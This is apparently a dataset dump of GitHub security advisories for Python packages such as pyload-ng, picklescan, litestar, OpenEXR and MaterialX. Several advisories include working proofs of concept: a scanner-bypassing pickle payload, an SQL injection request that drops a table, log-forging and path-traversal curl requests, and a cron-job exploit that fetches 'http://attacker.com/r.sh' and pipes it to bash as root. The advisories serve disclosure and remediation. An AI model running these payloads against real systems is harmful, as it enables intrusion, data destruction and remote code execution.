deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-84m3-f99p-cqx5
Package: executorch (PIP)
Severity: CRITICAL (CVSS 9.8)
CWE: CWE-190: Integer Overflow or Wraparound
Vulnerable versions: < 0.7.0
Patched in: 0.7.0

Summary: ExecuTorch integer overflow vulnerability

Details:
An integer overflow vulnerability in the loading of ExecuTorch models can cause objects to be placed outside their allocated memory area, potentially resulting in code execution or other undesirable effects. This issue affects ExecuTorch prior to commit 0830af8207240df8d7f35b984cdf8bc35d74fa73.
GitHub Security Advisory: GHSA-hj95-mhgf-jxc4
Package: executorch (PIP)
Severity: CRITICAL (CVSS 9.8)
CWE: CWE-190: Integer Overflow or Wraparound
Vulnerable versions: < 0.7.0
Patched in: 0.7.0

Summary: ExecuTorch integer overflow vulnerability

Details:
An integer overflow vulnerability in the loading of ExecuTorch models can cause overlapping allocations, potentially resulting in code execution or other undesirable effects. This issue affects ExecuTorch prior to commit d158236b1dc84539c1b16843bc74054c9dcba006.
GitHub Security Advisory: GHSA-9gvj-pp9x-gcfr
Package: picklescan (PIP)
Severity: HIGH (CVSS 0.0)
CWE: CWE-502: Deserialization of Untrusted Data
Vulnerable versions: < 0.0.27
Patched in: 0.0.27

Summary: Picklescan has pickle parsing logic flaw that leads to malicious pickle file bypass

Details:
### Details
There's a parsing logic error in picklescan and modelscan while trying to deal with opcode `STACK_GLOBAL`.
Function `_list_globals` when handling `STACK_GLOBAL` at position `n`, it is expected to track two arguments but in wrong range. The loop only consider the range from `1` to `n-1` but forgets to consider the opcode at position `0`. The correct range should be `0` to `n-1`. Attacker can put arg in position `0`, thus the parser can only tract one argument. Then, the exception https://github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/src/picklescan/scanner.py#L281 will be triggered. Thus it can cause detection bypass since the malicious pickle file will trigger unexpected exceptions.

Example:
```
    0: S    STRING     'os' --> arg 0: STRING (untracked argument due to wrong scanning range)
    6: S    STRING     'system' --> arg 1: STRING (tracked argument)
   16: \x93 STACK_GLOBAL
   17: S    STRING     'ls'
   23: \x85 TUPLE1
   24: R    REDUCE
   25: .    STOP
```


### PoC
``` python
import pickle
payload = b"S'os'\nS'system'\n\x93S'ls'\n\x85R."
with open('bad_pickle.pkl', 'wb') as f:
    f.write(payload)
pickle.load(open('bad_pickle.pkl', 'rb'))
```

### Impact
Detection bypass in both picklescan and modelscan. Note that it also affects the online hugging face pickle scanners, making the malicious pickle file bypass the detection. 

### Fix
To fix the range here, change `range(1, n)` to `range(1, n+1)` to ensure that `n-offset` stays within the range of `0` to `n`.
https://github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/src/picklescan/scanner.py#L255
GitHub Security Advisory: GHSA-pwh4-6r3m-j2rf
Package: pyload-ng (PIP)
Severity: HIGH (CVSS 0.0)
CWE: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Vulnerable versions: < 0.5.0b3.dev91
Patched in: 0.5.0b3.dev91

Summary: PyLoad vulnerable to SQL Injection via API /json/add_package in add_links parameter

Details:
### Summary
The parameter `add_links` in the API /json/add_package is vulnerable to SQL Injection. SQL injection vulnerabilities can lead to sensitive data leakage.

### Details
- Affected file：https://github.com/pyload/pyload/blob/develop/src/pyload/core/database/file_database.py#L271
- Affected code:
```python
@style.queue
    def update_link_info(self, data):
        """
        data is list of tuples (name, size, status, url)
        """
        self.c.executemany(
            "UPDATE links SET name=?, size=?, status=? WHERE url=? AND status IN (1,2,3,14)",
            data,
        )
        ids = []
        statuses = "','".join(x[3] for x in data)
        self.c.execute(f"SELECT id FROM links WHERE url IN ('{statuses}')")
        for r in self.c:
            ids.append(int(r[0]))
        return ids
````
statuses is constructed from data, and data is the value of the add_links parameter entered by the user through /json/add_packge. Because `{statuses}` is directly spliced into the SQL statement, it leads to the SQL injection vulnerability.

- Vulnerability Chain
```xml
josn_blueprint.py#add_package
src/pyload/core/api/__init__.py#add_package
src/pyload/core/managers/file_manager.py#add_links
src/pyload/core/threads/info_thread.py#run
src/pyload/core/threads/info_thread.py#update_info
src/pyload/core/managers/file_manager.py#update_file_info
src/pyload/core/database/file_database.py#update_link_info
```


### PoC
```python
import requests


if __name__ == "__main__":
    url = "http://localhost:8000/json/add_package"
    data = {
        "add_name": "My Downloads1",
        "add_dest": "0",
        "add_links": "https://www.dailymotion.com/video/x8zzzzz') or 1; Drop table users;--",
        "add_password": "mypassword"
    }

    response = requests.post(url, cookies=your_cookies, data=data)
    print(response.status_code, response.text)
```
<img width="1599" height="827" alt="image" src="https://github.com/user-attachments/assets/9bdcef37-59b8-4e60-a2b5-beb8a88c3202" />




### Remediation
 ```python
def update_link_info(self, data):
    """
data is list of tuples (name, size, status, url)
"""
    self.c.executemany(
        "UPDATE links SET name=?, size=?, status=? WHERE url=? AND status IN (1,2,3,14)",
        data,
    )
    
    # 提取所有url
    urls = [x[3] for x in data]
    
    # 构建参数化查询，避免SQL注入
    placeholders = ','.join(['?'] * len(urls))
    query = f"SELECT id FROM links WHERE url IN ({placeholders}) AND status IN (1,2,3,14)"
    self.c.execute(query, urls)
    
    ids = [int(row[0]) for row in self.c.fetchall()]
    return ids
```



### Impact
Attackers can modify or delete data in the database, causing data errors or loss.
GitHub Security Advisory: GHSA-pwq7-2gvj-vg9v
Package: keras (PIP)
Severity: HIGH (CVSS 0.0)
CWE: CWE-502: Deserialization of Untrusted Data
Vulnerable versions: >= 3.0.0, < 3.11.0
Patched in: 3.11.0

Summary: Duplicate Advisory: Keras safe mode bypass vulnerability

Details:
### Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-c9rc-mg46-23w3. This link is maintained to preserve external references.

### Original Description
A safe mode bypass vulnerability in the `Model.load_model` method in Keras versions 3.0.0 through 3.10.0 allows an attacker to achieve arbitrary code execution by convincing a user to load a specially crafted `.keras` model archive.
GitHub Security Advisory: GHSA-674p-xv2x-rf3g
Package: litestar (PIP)
Severity: LOW (CVSS 3.7)
CWE: CWE-117: Improper Output Neutralization for Logs
Vulnerable versions: <= 2.16.0
Patched in: 2.17.0

Summary: Litestar has potential log injection in exception logging

Details:
### Summary

Litestar does not escape url paths when logging exceptions. This makes logger vulnerable to CRLF injection if logging level is configured to debug or `log_exceptions` is set to "always", which allows attackers to inject newlines and forge log entries.

### Details

Litestar directly formats unquoted path into exception logs without validation or escaping when using default exception logging handler.

https://github.com/litestar-org/litestar/blob/1e0dc7c4d67151c836208a3e360051e983b5083a/litestar/logging/config.py#L145-L150

Attackers can inject newlines in logs by embedding`%0d%0a` in url path.

`log_exceptions="always"` is not enabled by default. However, it is set in the examples of documentation (https://github.com/litestar-org/litestar/blob/1e0dc7c4d67151c836208a3e360051e983b5083a/docs/usage/logging.rst#logging). User will be impacted if they directly copy the logging config from docs.

### PoC

```
curl "http://172.17.0.2:8000/%29%0D%0AINFO:%20%20%20%20%20127.0.0.1:8192%20-%20%22POST%20/login%20HTTP/1.1%22%20200%20OK%0D%0A%28"
```

logging:

```
2025-07-15 00:00:00 - litestar - ERROR - Uncaught exception (connection_type=http, path=/)
INFO:     127.0.0.1:8192 - "POST /login HTTP/1.1" 200 OK
...
```

If stacktracks for 404 are configured to be ignored (`disable_stack_trace={404},`), attacker may also exploit this by sending malformed requests to cause 400/500 exceptions and avoid 404 in endpoints with str path parameters.
GitHub Security Advisory: GHSA-rrgf-hcr9-jq6h
Package: tiny-scientist (PIP)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: <= 1.1.0
Patched in: unpatched

Summary: TinyScientist has Path Traversal Vulnerability in PDF Review Function (CWE-22)

Details:
## Description
A critical path traversal vulnerability (CWE-22) has been identified in the `review_paper` function in `backend/app.py`. The vulnerability allows malicious users to access arbitrary PDF files on the server by providing crafted file paths that bypass the intended security restrictions.

## Impact
This vulnerability allows attackers to:
- Read any PDF file accessible to the server process
- Potentially access sensitive documents outside the intended directory
- Perform reconnaissance on the server's file system structure

## Vulnerable Code
The issue occurs in the `review_paper` function around line 744:

```python
if pdf_path.startswith("/api/files/"):
    # Safe path handling for API routes
    relative_path = pdf_path[len("/api/files/"):]
    generated_base = os.path.join(project_root, "generated")
    absolute_pdf_path = os.path.join(generated_base, relative_path)
else:
    absolute_pdf_path = pdf_path  # VULNERABLE: Direct use of user input
```

## Proof of Concept
```bash
curl -X POST http://localhost:5000/api/review \
  -H "Content-Type: application/json" \
  -d '{"pdf_path": "/etc/passwd"}'
```

## Credit
This vulnerability was discovered and reported by Ruizhe.
GitHub Security Advisory: GHSA-33r8-vrx9-rmcv
Package: executorch (PIP)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-680: Integer Overflow to Buffer Overflow
Vulnerable versions: <= 0.6.0
Patched in: unpatched

Summary: ExecuTorch integer overflow vulnerability leads to code execution

Details:
An integer overflow vulnerability in the loading of ExecuTorch models can cause smaller-than-expected memory regions to be allocated, potentially resulting in code execution or other undesirable effects. This issue affects ExecuTorch prior to commit 8f062d3f661e20bb19b24b767b9a9a46e8359f2b.
GitHub Security Advisory: GHSA-9356-575x-2w9m
Package: transformers (PIP)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-1333: Inefficient Regular Expression Complexity
Vulnerable versions: < 4.53.0
Patched in: 4.53.0

Summary: Hugging Face Transformers Regular Expression Denial of Service (ReDoS) vulnerability

Details:
A Regular Expression Denial of Service (ReDoS) vulnerability exists in the Hugging Face Transformers library, specifically in the `convert_tf_weight_name_to_pt_weight_name()` function. This function, responsible for converting TensorFlow weight names to PyTorch format, uses a regex pattern `/[^/]*___([^/]*)/` that can be exploited to cause excessive CPU consumption through crafted input strings due to catastrophic backtracking. The vulnerability affects versions up to 4.51.3 and is fixed in version 4.53.0. This issue can lead to service disruption, resource exhaustion, and potential API service vulnerabilities, impacting model conversion processes between TensorFlow and PyTorch formats.
GitHub Security Advisory: GHSA-48rp-jc79-2264
Package: pyload-ng (PIP)
Severity: CRITICAL (CVSS 9.8)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: <= 0.5.0b3.dev89
Patched in: 0.5.0b3.dev90

Summary: pyLoad CNL Blueprint allows Path Traversal through `dlc_path` which leads to Remote Code Execution (RCE)

Details:
### Summary
**Path Traversal in pyLoad-ng CNL Blueprint via `package` parameter allows Arbitrary File Write leading to Remote Code Execution (RCE)** The `addcrypted` endpoint in `pyload-ng` suffers from an unsafe path construction vulnerability, allowing unauthenticated attackers to write arbitrary files outside the designated storage directory. This can be abused to overwrite critical system files, including cron jobs and systemd services, leading to privilege escalation and remote code execution as root.



### Details
* **Endpoint**: `POST /addcrypted`
* **Issue**: `src/pyload/webui/app/blueprints/cnl_blueprint.py`

#### Vulnerable Code
```python
 dlc_path = os.path.join( 
     dl_path, package.replace("/", "").replace("\\", "").replace(":", "") + ".dlc" 
 ) 
 dlc = flask.request.form["crypted"].replace(" ", "+") 
 with open(dlc_path, mode="wb") as fp: 
```

### PoC
```http
POST /addcrypted HTTP/1.1
Host: localhost:8000
Content-Type: application/x-www-form-urlencoded
Content-Length: 107

package=../../../../etc/cron.d/payload&crypted=KioqICogKiAqKiByb290IGN1cmwgLXMgaHR0cDovL2F0dGFja2VyLmNvbS9yLnNoIHwgYmFzaA==
```

Decoded payload:
```bash
* * * * * root curl -s http://attacker.com/r.sh | bash
```

**Send crafted POST**
```python
import requests, base64

payload = "* * * * * root curl http://attacker.com/rev.sh | bash"
b64 = base64.b64encode(payload.encode()).decode()

requests.post("http://localhost:8000/addcrypted", data={
    "package": "../../../../etc/cron.d/exploit",
    "crypted": b64
})
```


### Impact
The vulnerability allows unauthenticated attackers to write arbitrary files outside the intended directory via a path traversal flaw in the `addcrypted` endpoint in `pyload-ng` parameter. when exploited, it enables remote code execution as **root** by injecting malicious cron jobs or system files, turning a simple file upload endpoint into a full system compromise vector.
GitHub Security Advisory: GHSA-5662-2rj7-f2v6
Package: copyparty (PIP)
Severity: HIGH (CVSS 7.5)
CWE: CWE-1333: Inefficient Regular Expression Complexity
Vulnerable versions: <= 1.18.8
Patched in: 1.18.9

Summary: copyparty allows Regex Denial of Service (ReDoS) in the upload listing

Details:
### Summary
The `filter` parameter for the "Recent uploads" page allows arbitrary Regexes. If this feature is enabled (which is the default), an attacker can craft a filter which deadlocks the server.

### PoC
`https://127.0.0.1:3923/?ru&filter=(.+)+x`

### Impact
The server becomes fully inaccessible for a long time.
GitHub Security Advisory: GHSA-wx6g-fm6f-w822
Package: MaterialX (PIP)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-121: Stack-based Buffer Overflow
Vulnerable versions: = 1.39.2
Patched in: 1.39.3

Summary: MaterialX Stack Overflow via Lack of MTLX XML Parsing Recursion Limit 

Details:
### Summary

When parsing an MTLX file with multiple nested `nodegraph` implementations, the MaterialX XML parsing logic can potentially crash due to stack exhaustion.

### Details

By specification, multiple kinds of elements in MTLX support nesting other elements, such as in the case of `nodegraph` elements. Parsing these subtrees is implemented via recursion, and since there is no max depth imposed on the XML document, this can lead to a stack overflow when the library parses an MTLX file with an excessively high number of nested elements.

### PoC

Please download the `recursion_overflow.mtlx` file from the following link: 

https://github.com/ShielderSec/poc/tree/main/CVE-2025-53009

`build/bin/MaterialXView --material recursion_overflow.mtlx`


### Impact
An attacker could intentionally crash a target program that uses MaterialX by sending a malicious MTLX file.
GitHub Security Advisory: GHSA-jxr6-qrxx-2ph2
Package: num2words (PIP)
Severity: CRITICAL (CVSS 0.0)
CWE: CWE-506: Embedded Malicious Code
Vulnerable versions: >= 0.5.15, <= 0.5.16
Patched in: unpatched

Summary: num2words subjected to phishing attack, two versions published containing malware

Details:
The `num2words` project was compromised via a phishing attack and two new versions were uploaded to PyPI containing malicious code. The affected versions have been removed from PyPI, and users are advised to remove the affected versions from their environments.
GitHub Security Advisory: GHSA-x22w-82jp-8rvf
Package: OpenEXR (PIP)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-770: Allocation of Resources Without Limits or Throttling
Vulnerable versions: = 3.3.2
Patched in: 3.3.3

Summary: OpenEXR Out-Of-Memory via Unbounded File Header Values

Details:
### Summary
The OpenEXR file format defines many information about the final image inside of the file header, such as the size of data/display window.

The application trusts the value of `dataWindow` size provided in the header of the input file, and performs computations based on this value.

This may result in unintended behaviors, such as excessively large number of iterations and/or huge memory allocations.


### Details
A concrete example of this issue is present in the function `readScanline()` in `ImfCheckFile.cpp` at line 235, that performs a for-loop using the `dataWindow min.y` and `max.y` coordinates that can be arbitrarily large.

```cpp
in.setFrameBuffer (i);

int step = 1;

//
// try reading scanlines. Continue reading scanlines
// even if an exception is encountered
//
for (int y = dw.min.y; y <= dw.max.y; y += step) // <-- THIS LOOP IS EXCESSIVE BECAUSE OF DW.MAX
{
    try
    {
        in.readPixels (y);
    }
    catch (...)
    {
        threw = true;

        //
        // in reduceTime mode, fail immediately - the file is corrupt
        //
        if (reduceTime) { return threw; }
    }
}
```

Another example occurs in the `EnvmapImage::resize` function that in turn calls `Array2D<T>::resizeEraseUnsafe` passing the `dataWindow` X and Y coordinates and perform a huge allocation.

On some system, the allocator will simply return `std::bad_alloc` and crash. On other systems such as macOS, the allocator will happily continue with a "small" pre-allocation and allocate further memory whenever it is accessed.
This is the case with the `EnvmapImage::clear` function that is called right after and fills the image RGB values with zeros, allocating tens of Gigabytes.

### PoC

NOTE: please download the `oom_crash.exr` file via the following link:
 
https://github.com/ShielderSec/poc/tree/main/CVE-2025-48074

1. Compile the `exrcheck` binary in a macOS or GNU/Linux machine with ASAN.
2. Open the `oom_crash.exr` file with the following command:

```
exrcheck oom_crash.exr
```

3. Notice that `exrenvmap`/`exrcheck` crashes with ASAN stack-trace.

### Impact
An attacker could cause a denial of service by stalling the application or exhaust memory by stalling the application in a loop which contains a memory leakage.
GitHub Security Advisory: GHSA-qhpm-86v7-phmm
Package: OpenEXR (PIP)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-476: NULL Pointer Dereference
Vulnerable versions: = 3.3.2
Patched in: 3.3.3

Summary: OpenEXR ScanLineProcess::run_fill NULL Pointer Write In "reduceMemory" Mode

Details:
### Summary

When reading a deep scanline image with a large sample count in `reduceMemory` mode, it is possible to crash a target application with a NULL pointer dereference in a write operation.

### Details

In the `ScanLineProcess::run_fill` function, implemented in `src/lib/OpenEXR/ImfDeepScanLineInputFile.cpp`, the following code is used to write the `fillValue` in the sample buffer:

```cpp
                switch (fills.type)
                {
                    case OPENEXR_IMF_INTERNAL_NAMESPACE::UINT:
                    {
                        unsigned int fillVal = (unsigned int) (fills.fillValue);
                        unsigned int* fillptr = static_cast<unsigned int*> (dest);

                        for ( int32_t s = 0; s < samps; ++s )
                            fillptr[s] = fillVal; // <--- POTENTIAL CRASH HERE
                        break;
                    }
```

However, when `reduceMemory` mode is enabled in the `readDeepScanLine` function in `src/lib/OpenEXRUtil/ImfCheckFile.cpp`, with large sample counts, the sample data will not be read, as shown below:

```cpp
            // limit total number of samples read in reduceMemory mode
            //
            if (!reduceMemory ||
                fileBufferSize + bufferSize < gMaxBytesPerDeepScanline) // <--- CHECK ON LARGE SAMPLE COUNTS AND reduceMemory
            {
            // SNIP...
            try
                {
                    in.readPixels (y);
                }
```

Therefore, in those cases, the sample buffer would not be allocated, resulting in a potential write operation on a NULL pointer.

### PoC

NOTE: please download the `runfill_crash.exr` file from the following link:
 
https://github.com/ShielderSec/poc/tree/main/CVE-2025-48073

1. Compile the `exrcheck` binary in a macOS or GNU/Linux machine with ASAN.
2. Open the `runfill_crash.exr` file with the following command:

```
exrcheck -m runfill_crash.exr
```

3. Notice that `exrcheck` crashes with ASAN stack-trace.

### Impact
An attacker may cause a denial of service by crashing the application.
GitHub Security Advisory: GHSA-7qw8-3vmf-gj32
Package: MaterialX (PIP)
Severity: LOW (CVSS 0.0)
CWE: CWE-476: NULL Pointer Dereference
Vulnerable versions: = 1.39.2
Patched in: 1.39.3

Summary: MaterialX Null Pointer Dereference in MaterialXCore Shader Generation due to Unchecked implGraphOutput

Details:
### Summary

When parsing shader nodes in a MTLX file, the MaterialXCore code accesses a potentially null pointer, which can lead to crashes with maliciously crafted files.

### Details

In `source/MaterialXCore/Material.cpp`, the following code extracts the output nodes for a given implementation graph:

```cpp
   InterfaceElementPtr impl = materialNodeDef->getImplementation();
            if (impl && impl->isA<NodeGraph>())
            {
                NodeGraphPtr implGraph = impl->asA<NodeGraph>();
                for (OutputPtr defOutput : materialNodeDef->getOutputs())
                {
                    if (defOutput->getType() == MATERIAL_TYPE_STRING)
                    {
                        OutputPtr implGraphOutput = implGraph->getOutput(defOutput->getName());
                        for (GraphIterator it = implGraphOutput->traverseGraph().begin(); it != GraphIterator::end(); ++it)
                        {
                            ElementPtr upstreamElem = it.getUpstreamElement();
                            if (!upstreamElem)
                            {
                                it.setPruneSubgraph(true);
                                continue;
                            }
                            NodePtr upstreamNode = upstreamElem->asA<Node>();
                            if (upstreamNode && upstream
```

However, when defining the `implGraphOutput` variable by getting the output node, the code doesn't check whether its value is null before accessing its iterator `traverseGraph()`. This leads to a potential null pointer dereference.

### PoC

Please download `nullptr_implgraph.mtlx` from the following link:

https://github.com/ShielderSec/poc/tree/main/CVE-2025-53011

`build/bin/MaterialXView --material nullptr_implgraph.mtlx`

### Impact

An attacker could intentionally crash a target program that uses MaterialX by sending a malicious MTLX file.